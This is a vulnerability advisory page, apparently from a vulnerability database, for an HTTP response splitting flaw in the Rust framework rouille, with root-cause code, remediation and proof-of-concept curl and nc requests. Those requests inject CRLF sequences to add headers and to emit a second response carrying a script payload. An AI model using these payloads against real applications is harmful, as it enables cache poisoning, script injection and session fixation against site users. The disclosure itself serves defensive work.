📄 rouille 3.6.2 HTTP Response Splitting
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2026-66746 | 28 Jul 202616:06 | – | attackerkb | |
| CVE-2026-66746 | 28 Jul 202616:06 | – | cve | |
| CVE-2026-66746 Rouille 0.4.0 - 3.6.2 HTTP Response Splitting via Header Injection | 28 Jul 202616:06 | – | cvelist | |
| CVE-2026-66746 | 28 Jul 202616:06 | – | debiancve | |
| EUVD-2026-49889 | 28 Jul 202616:06 | – | euvd | |
| CVE-2026-66746 | 28 Jul 202616:20 | – | nvd | |
| CVE-2026-66746 Rouille 0.4.0 - 3.6.2 HTTP Response Splitting via Header Injection | 28 Jul 202616:06 | – | osv | |
| DEBIAN-CVE-2026-66746 | 28 Jul 202616:20 | – | osv | |
| PT-2026-65517 | 28 Jul 202600:00 | – | ptsecurity | |
| Linux Distros Unpatched Vulnerability : CVE-2026-66746 | 29 Jul 202600:00 | – | nessus |
10
# Security Advisory: HTTP Response Splitting via Unvalidated Response Header Values (rouille)
**Assigned CVE ID:** CVE-2026-66746
## Summary
rouille writes response header values to the client without checking them for
carriage return or line feed. An application that places attacker-influenced text
into a header value therefore emits extra headers, or an entire second HTTP
response, on the wire.
Two properties of rouille make this reachable in ordinary code. `Request::get_param`
percent-decodes, so `%0d%0a` in a query string becomes a real CRLF. And
`session::session` copies the client's own `Cookie` value into `Set-Cookie` with
no validation at all.
Every other widely used Rust HTTP stack rejects this at the type level:
`http::HeaderValue::from_str` returns `InvalidHeaderValue` for CR and LF, which
is why hyper, axum, actix-web and warp are not exposed the same way.
## Affected versions
Repo URL: https://github.com/tomaka/rouille
| | |
|---|---|
| First affected | 0.4.0 (2016-12-14) for the response header path below |
| Last affected | 3.6.2 (2023-04-24), the current release |
| Fixed in | no fixed version at time of writing |
Releases before 0.4.0 emit responses through a different code path that was not
examined, so they are not claimed either way. The `session::session` reflection
described under path B exists from 0.3.2 (2016-12-02) onward.
## Severity
CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers), a specific
case of CWE-93 (CRLF Injection).
CVSS 4.0 base score 5.3 (Medium)
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N`
## Threat model
Path A requires a remote, unauthenticated attacker and a victim who follows a
link the attacker supplies. The attacker needs the application to put any
request-derived string into a response header. Redirecting to a `next` or
`return_to` query parameter is the common case.
Path B requires only that the application calls `session::session` and reads the
session id. The attacker controls their own `Cookie` header, so on its own this
is self-inflicted. It becomes an attack against others when a shared cache
stores the split response, or when combined with another way to set a cookie in
the victim's browser.
## Root cause
`rouille/src/lib.rs`, lines 624 to 640, passes values straight through:
```rust
624 for (key, value) in rouille_response.headers {
625 if key.eq_ignore_ascii_case("Content-Length") {
626 continue;
627 }
628
629 if key.eq_ignore_ascii_case("Upgrade") {
630 upgrade_header = value;
631 continue;
632 }
633
634 if let Ok(header) = tiny_http::Header::from_bytes(key.as_bytes(), value.as_bytes())
635 {
636 response.add_header(header);
```
`Header::from_bytes` checks only that the bytes are ASCII, and CR and LF are
ASCII. `tiny_http-0.12.0/src/common.rs`, lines 166 to 172:
```rust
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
```
The value is then written with no escaping.
`tiny_http-0.12.0/src/response.rs`, lines 99 to 104:
```rust
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
```
### Path A, percent-decoded query parameters
`Request::get_param` decodes percent escapes, so the caller receives real control
characters. `rouille/src/lib.rs`, lines 928 to 932:
```rust
928 .map(|value| {
929 percent_encoding::percent_decode(value.replace('+', " ").as_bytes())
930 .decode_utf8_lossy()
931 .into_owned()
932 })
```
### Path B, session identifiers reflected from the request
`rouille/src/session.rs` takes the key from the client's cookie at line 59 and
interpolates it into the response header at lines 75 to 81:
```rust
59 key: cookie.into(),
...
75 let header_value = format!(
76 "{}={}; Max-Age={}; Path=/; HttpOnly",
77 cookie_name, session.key, timeout_s
78 );
79 response
80 .headers
81 .push(("Set-Cookie".into(), header_value.into()));
```
## Proof of Concept
### Path A
Step 1. Start a server that redirects to a query parameter.
```rust
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8002", |request| {
let next = request.get_param("next").unwrap_or_else(|| "/".to_string());
Response::redirect_303(next)
});
}
```
Step 2. Request it with `%0d%0a` in the parameter.
```sh
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aX-Injected:%20yes'
```
Result. `X-Injected` arrives as its own header:
```
HTTP/1.1 303 See Other
Server: tiny-http (Rust)
Location: /a
X-Injected: yes
Content-Length: 0
```
Step 3. Extend the payload past the end of the headers to emit a whole second
response.
```sh
curl -sSi 'http://127.0.0.1:8002/?next=/a%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E'
```
Result. One request, two complete responses. The second carries an
attacker-chosen status line, content type and body:
```
HTTP/1.1 303 See Other
Location: /a
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
<script>alert(1)</script>
```
### Path B
Step 1. Start a server using the documented session idiom.
```rust
use rouille::{session, Response};
fn main() {
rouille::start_server("127.0.0.1:8006", |request| {
session::session(request, "SID", 3600, |s| {
Response::text(format!("session id: {}", s.id()))
})
});
}
```
Step 2. Send a cookie whose value contains a bare LF. `\n` below is a single
line feed, `\r\n` is a CRLF.
```sh
printf 'GET / HTTP/1.1\r\nHost: x\r\nCookie: SID=abc\nX-Injected: yes\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8006
```
Result. The value breaks out of `Set-Cookie` onto its own line:
```
Set-Cookie: SID=abc
X-Injected: yes; Max-Age=3600; Path=/; HttpOnly
```
Path B has three limits worth noting. Only a bare LF gets through, because CRLF
would have ended the header line in `tiny_http`, so the client or cache must
treat a lone LF as a terminator. Everything after the injection point still
carries the `; Max-Age=3600; Path=/; HttpOnly` suffix from the same `format!`,
so the primitive is a header with a fixed trailing string rather than a clean
arbitrary header. And the attacker only controls their own cookie. Path A has
none of these limits.
## Impact
Script execution in the origin's security context, cache poisoning where a shared
cache stores the injected response against the victim's URL, session fixation
through an injected `Set-Cookie`, and overriding security headers such as CSP or
CORS. Because path A produces a real CRLF, every client and cache splits on it.
## Remediation
Validate header values in `Server::process` before handing them to `tiny_http`,
in `rouille/src/lib.rs` around line 634:
```rust
fn header_value_is_safe(v: &str) -> bool {
!v.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
}
```
Return a 500 for the whole response rather than dropping the offending header,
so the failure is visible instead of silently changing the response.
Validate the session key in `session::session` as well: reject a cookie value
that is not `[A-Za-z0-9]+` and generate a fresh id instead. Checking in
`Response::with_additional_header`, `with_unique_header` and the `redirect_*`
constructors would surface the error at the call site, where the application
author can act on it.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Jul 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 45.3
CVSS 3.15.4
EPSS0.00241